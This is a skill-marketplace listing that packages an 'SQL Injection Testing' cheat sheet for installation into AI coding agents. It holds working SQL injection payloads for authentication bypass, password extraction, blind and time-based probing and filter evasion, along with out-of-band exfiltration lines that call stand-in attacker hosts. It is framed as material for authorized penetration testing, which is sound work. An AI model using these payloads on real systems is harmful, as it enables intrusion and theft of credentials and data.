# Send SQL Injection Testing to your agent
Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.
## Fast path
- Download the package from Yavira.
- Extract it into a folder your agent can access.
- Paste one of the prompts below and point your agent at the extracted folder.
## Suggested prompts
### New install

```text
I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Tell me what you changed and call out any manual steps you could not complete.
```
### Upgrade existing

```text
I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Summarize what changed and any follow-up checks I should run.
```
## Machine-readable fields
```json
{
  "schemaVersion": "1.0",
  "item": {
    "slug": "sql-injection-testing",
    "name": "SQL Injection Testing",
    "source": "tencent",
    "type": "skill",
    "category": "开发工具",
    "sourceUrl": "https://clawhub.ai/brandonwise/sql-injection-testing",
    "canonicalUrl": "https://clawhub.ai/brandonwise/sql-injection-testing",
    "targetPlatform": "OpenClaw"
  },
  "install": {
    "downloadUrl": "/downloads/sql-injection-testing",
    "sourceDownloadUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=sql-injection-testing",
    "sourcePlatform": "tencent",
    "targetPlatform": "OpenClaw",
    "packageFormat": "ZIP package",
    "primaryDoc": "SKILL.md",
    "includedAssets": [
      "SKILL.md"
    ],
    "downloadMode": "redirect",
    "sourceHealth": {
      "source": "tencent",
      "slug": "sql-injection-testing",
      "status": "healthy",
      "reason": "direct_download_ok",
      "recommendedAction": "download",
      "checkedAt": "2026-05-08T09:18:41.984Z",
      "expiresAt": "2026-05-15T09:18:41.984Z",
      "httpStatus": 200,
      "finalUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=sql-injection-testing",
      "contentType": "application/zip",
      "probeMethod": "head",
      "details": {
        "probeUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=sql-injection-testing",
        "contentDisposition": "attachment; filename=\"sql-injection-testing-1.0.0.zip\"",
        "redirectLocation": null,
        "bodySnippet": null,
        "slug": "sql-injection-testing"
      },
      "scope": "item",
      "summary": "Item download looks usable.",
      "detail": "Yavira can redirect you to the upstream package for this item.",
      "primaryActionLabel": "Download for OpenClaw",
      "primaryActionHref": "/downloads/sql-injection-testing"
    },
    "validation": {
      "installChecklist": [
        "Use the Yavira download entry.",
        "Review SKILL.md after the package is downloaded.",
        "Confirm the extracted package contains the expected setup assets."
      ],
      "postInstallChecks": [
        "Confirm the extracted package includes the expected docs or setup files.",
        "Validate the skill or prompts are available in your target agent workspace.",
        "Capture any manual follow-up steps the agent could not complete."
      ]
    }
  },
  "links": {
    "detailUrl": "https://openagent3.xyz/skills/sql-injection-testing",
    "downloadUrl": "https://openagent3.xyz/downloads/sql-injection-testing",
    "agentUrl": "https://openagent3.xyz/skills/sql-injection-testing/agent",
    "manifestUrl": "https://openagent3.xyz/skills/sql-injection-testing/agent.json",
    "briefUrl": "https://openagent3.xyz/skills/sql-injection-testing/agent.md"
  }
}
```
## Documentation

### SQL Injection Testing

Comprehensive SQL injection vulnerability assessment techniques for web applications, covering detection, exploitation, and defense validation.

### Description

USE WHEN:

Testing for SQL injection vulnerabilities
Performing authorized penetration tests
Validating input sanitization mechanisms
Bypassing authentication for security testing
Extracting database information (authorized)
Learning SQL injection defense

DON'T USE WHEN:

No written authorization for testing
Testing production systems with real user data
Intent is malicious (don't be evil)

⚠️ LEGAL REQUIREMENT: Written penetration testing authorization required before use.

### Injection Point Identification

Common injectable parameters:

URL params:    ?id=1, ?user=admin, ?category=books
Form fields:   username, password, search, comments
Cookies:       session_id, user_preference
HTTP headers:  User-Agent, Referer, X-Forwarded-For

### Basic Vulnerability Tests

-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

Watch for:

Database error messages
HTTP 500 errors
Modified response content/length
Unexpected behavior changes

### Boolean Logic Tests

-- True condition (should return data)
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition (should return nothing/error)
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

Compare responses between true/false to confirm injection.

### UNION-Based Extraction

-- Step 1: Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Step 2: Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Step 3: Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

### Error-Based Extraction

-- MSSQL
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL (XPATH)
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL
1' AND 1=CAST((SELECT version()) AS int)--

### Blind Boolean-Based

-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

### Time-Based Blind

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

### Out-of-Band (OOB)

-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\\\attacker-server.com\\share'--

-- MySQL DNS
1' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\',@@version,'.attacker.com\\\\a'))--

-- Oracle HTTP
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

### Authentication Bypass

-- Classic bypass payloads
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- Query transformation example
-- Original: SELECT * FROM users WHERE username='input' AND password='input'
-- Injected (username: admin'--):
-- SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed!

### Character Encoding

-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)

-- Double URL encoding
%2527 (single quote)

-- Hex strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin'

### Whitespace Alternatives

-- Comment substitution
SELECT/**/username/**/FROM/**/users

-- Tab character
SELECT%09username%09FROM%09users

-- Newline
SELECT%0Ausername%0AFROM%0Ausers

### Keyword Evasion

-- Case variation
SeLeCt, sElEcT, SELECT

-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION

-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION

### Database Fingerprinting

DatabaseVersion QueryMySQLSELECT @@version or SELECT version()MSSQLSELECT @@versionPostgreSQLSELECT version()OracleSELECT banner FROM v$versionSQLiteSELECT sqlite_version()

### Information Schema Queries

-- MySQL/MSSQL: List tables
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- List columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

### Quick Reference

PurposePayloadBasic test' or "Boolean trueOR 1=1--Boolean falseAND 1=2--Comment (MySQL)# or -- Comment (MSSQL)--UNION probeUNION SELECT NULL--Time delayAND SLEEP(5)--Auth bypass' OR '1'='1

### Detection Test Sequence

1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay

### ❌ Vulnerable

const query = \`SELECT * FROM users WHERE id = '${userId}'\`;

### ✅ Safe

// Parameterized query
const query = 'SELECT * FROM users WHERE id = $1';
const result = await db.query(query, [userId]);

// OR use ORM
const user = await prisma.user.findUnique({ where: { id: userId } });

### Tools

SQLMap: Automated SQL injection
Burp Suite: Request manipulation
OWASP ZAP: Web app scanner
Havij: SQL injection tool

### Troubleshooting

ProblemSolutionNo error messagesUse blind injection (boolean/time-based)UNION failsCheck column count with ORDER BYWAF blockingUse encoding/evasion techniquesPayload not executingVerify correct comment syntax for DB typeTime-based inconsistentUse longer delays (10+ seconds)

### Ethical Guidelines

Never execute destructive queries (DROP, DELETE) without explicit authorization
Limit data extraction to proof-of-concept quantities
Stop immediately upon detecting production data
Report critical vulnerabilities through agreed channels
Document all activities for audit trail
## Trust
- Source: tencent
- Verification: Indexed source record
- Publisher: brandonwise
- Version: 1.0.0
## Source health
- Status: healthy
- Item download looks usable.
- Yavira can redirect you to the upstream package for this item.
- Health scope: item
- Reason: direct_download_ok
- Checked at: 2026-05-08T09:18:41.984Z
- Expires at: 2026-05-15T09:18:41.984Z
- Recommended action: Download for OpenClaw
## Links
- [Detail page](https://openagent3.xyz/skills/sql-injection-testing)
- [Send to Agent page](https://openagent3.xyz/skills/sql-injection-testing/agent)
- [JSON manifest](https://openagent3.xyz/skills/sql-injection-testing/agent.json)
- [Markdown brief](https://openagent3.xyz/skills/sql-injection-testing/agent.md)
- [Download page](https://openagent3.xyz/downloads/sql-injection-testing)